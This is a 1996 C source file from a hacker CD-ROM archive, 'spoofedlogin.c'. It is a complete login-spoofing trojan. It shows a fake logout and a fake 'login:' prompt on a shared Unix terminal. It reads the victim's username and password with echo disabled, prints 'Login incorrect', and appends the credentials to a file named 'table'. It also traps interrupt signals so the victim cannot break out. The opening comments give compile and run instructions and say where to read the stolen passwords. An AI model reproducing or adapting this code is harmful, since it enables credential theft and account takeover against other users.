home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / spoofedlogin.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  5KB  |  207 lines

  1. /******  WARNING!!!!!!!   THIS PROGRAM IS EVIL AND IS PROBABLY IN VIOLATION
  2.  WITHIN THE ACADEMIC COMPUTING AROUND THE IU ENVIRONMENT!!  USE AT YOUR OWN
  3.  RISK.  MISUSE OF THIS PROGRAM WILL MOST LIKELY GET YOUR ASS KICKED OUT OF
  4.  THIS UNIVERSITY.  YOU HAVE BEEN WARNED!!!!  DUE TO THE UNETHICALITIES OF THIS
  5.  PROGRAM, THE AUTHOR OF THIS PROGRAM IS BEING WITHHELD AND ASSUMES NO
  6.  RESPONSIBILTY FOR MISUSE AND/OR BAD CONDUCT ******/
  7.  
  8. /* TO COMPILE THIS PROGRAM, USE   cc -o <file> <file.c> */
  9. /* TO RUN THIS PROGRAM, EXIT X AND TYPE    exec <file>  */
  10. /* TO READ THE PASSWORDS, LOOK AT THE FILE CALLED table */
  11. /* IT IS ADVISABLE TO chmod 0600 table FOR PROTECTION   */
  12.  
  13. /*  With small modifcations by daemon9@netcom.com */
  14.  
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <sys/param.h>
  19. #include <string.h>
  20. #include <signal.h>
  21. #include <setjmp.h>
  22. #include <sgtty.h>
  23. #include <sys/file.h>
  24. #include <sys/ioctl.h>
  25.  
  26. #define oops(msg) {perror(msg); exit(0);}
  27.  
  28. jmp_buf return_pt;
  29.  
  30. /*****************************************************************************/
  31. static    int        cbreak_on = 0;
  32. static    int        tty = 0;
  33. static    int        tty_set = 0;
  34. static    int        cbreak_int_status = 0;
  35. static    struct sgttyb    tty_desc;
  36. char username[8], password[30];
  37. void cbreak();
  38. void nocbreak();
  39.  
  40.  
  41.  
  42. void cbreak_open_tty (interrupt_status)
  43. int    interrupt_status;
  44. {
  45.   tty_set = 1;
  46.   tty = fileno (stdin);
  47.   if (ioctl (tty, TIOCGETP, &tty_desc) == -1)
  48.     perror ("ioctl: TIOCGETP");
  49.  
  50.   cbreak_int_status = interrupt_status;
  51. }
  52.  
  53. /* noecho, if non-zero, causes the key stroke not to be echoed */
  54.  
  55. void cbreak (noecho, interrupt_status)
  56. int    noecho, interrupt_status;
  57. {
  58.   if (!tty_set || interrupt_status != cbreak_int_status)
  59.     cbreak_open_tty (interrupt_status);
  60.   tty_desc.sg_flags |= CBREAK;
  61.   if (noecho) tty_desc.sg_flags &= ~ECHO;
  62.   if (ioctl (tty, TIOCSETN, &tty_desc) == -1)
  63.     perror ("cbreak: ioctl: TIOCSETN");
  64. }
  65.  
  66. void nocbreak ()
  67. {
  68.   if (!tty_set) cbreak_open_tty (cbreak_int_status);
  69.   tty_desc.sg_flags &= ~CBREAK;
  70.   tty_desc.sg_flags |= ECHO;
  71.   if (ioctl (tty, TIOCSETN, &tty_desc) == -1)
  72.     perror ("nocbreak: ioctl: TIOCSETN");
  73. }
  74.  
  75. /* flush an input FILE, leaving the n most recent characters on the file */
  76.  
  77. void flushin (fptr, n)
  78.   FILE    *fptr;
  79.   int n;
  80. {
  81.   int nch = 0, status;
  82.  
  83.   if (n < 0) n = 0;
  84.   if ((status = ioctl (fileno(fptr), FIONREAD, &nch)) < 0)
  85.     {
  86.       fprintf (stderr, "flushin: ioctl error: %d\n", status);
  87.       return;
  88.     }
  89.   nch += fptr->_cnt;
  90.   while (nch > n)
  91.     {
  92.       getc (fptr);
  93.       nch--;
  94.     }
  95. }  
  96.  
  97. /* get a keystroke in cbreak mode, echoed or not echoed, with actions on
  98.    interrupts specified. */
  99.  
  100. char get_a_key (noecho, interrupt_status)
  101. int    noecho, interrupt_status;
  102. {
  103.   char    x;
  104.  
  105.   while (stdin->_cnt > 0) if ((x=getchar()) != '\n') return (x);
  106.  
  107.   cbreak (noecho, interrupt_status);
  108.   cbreak_on = 1+(noecho?1:0);
  109.   x = getchar();
  110.   nocbreak ();
  111.   cbreak_on = 0;
  112.   return (x);
  113. }
  114.  
  115. /* if a key has been pressed, then return it, otherwise return -1.  Note
  116.    that some key sequences actually send zero, so we can't use that.
  117.    This will only work for sure if you called cbreak() before. */
  118.  
  119. int get_key_if_pressed ()
  120. {
  121.   int x = -1, status, nch = 0;
  122.  
  123.   if (stdin->_cnt == 0)
  124.     {
  125.       if ((status = ioctl (tty, FIONREAD, &nch)) < 0)
  126.     {
  127.       fprintf (stderr, "get_key_if_pressed: ioctl error: %d\n", status);
  128.       return (-1);
  129.     }
  130.     }
  131.   else nch = stdin->_cnt;
  132.   if (nch > 0) x = getchar();
  133.   return (x);
  134. }
  135.  
  136. passwd ()
  137. {
  138.   int    x, i=0;
  139.  
  140.   cbreak (1, 1);
  141.   printf("Password:");
  142.   do 
  143.     {
  144.       x = getchar();
  145.       password[i++] = x;
  146.     }
  147.   while (x != '\n');
  148.   password[i] = '\0';
  149.   printf("\nLogin incorrect\n");
  150.  
  151.  
  152.  
  153. /*  printf("\nThe password typed was: %s \n", password); */
  154. }
  155.  
  156. /*****************************************************************************/
  157. void loop (s) 
  158.      char s[]; 
  159. {
  160.      /* insert your favorite startup message HERE */
  161.  
  162.     /*  Login banner below  */
  163.  
  164.      /* printf("Viking Login (console@%s)\n\n", s); */
  165.  
  166.      printf("login: ");     
  167.      gets(username);
  168.      
  169.      if (*username == '\0') 
  170.       loop(s);
  171. }
  172.  
  173. void q_trap () {}
  174.  
  175. void main () {
  176.      FILE *fq;
  177.      char *pname = "table";
  178.      int i;
  179.      char s[20], log[10];
  180.      
  181.      /* HOW DO WE DISABLE THE ^S AND ^Q ?? */
  182.  
  183.      /* signals are to protect from someone cancelling this process and getting
  184.     into YOUR account */
  185.  
  186.      signal(SIGQUIT, q_trap);
  187.      signal(SIGTERM, q_trap);
  188.      signal(SIGTSTP, q_trap);
  189.      signal(SIGINT, q_trap); 
  190.  
  191.      if ((i = gethostname(s, 20)) != 0)
  192.       oops("cannot find hostname\n");
  193.  
  194.      /* a fake prompt is always a good trick */
  195.  
  196.      printf("%s%% logout\n\n", s);
  197.  
  198.      loop(s);
  199.      passwd();
  200.      
  201.      fq = fopen(pname, "a");
  202.      fputs(username, fq);
  203.      fputs("\n", fq);
  204.      fputs(password, fq);
  205.      fputs("\n\n", fq);
  206. }
  207.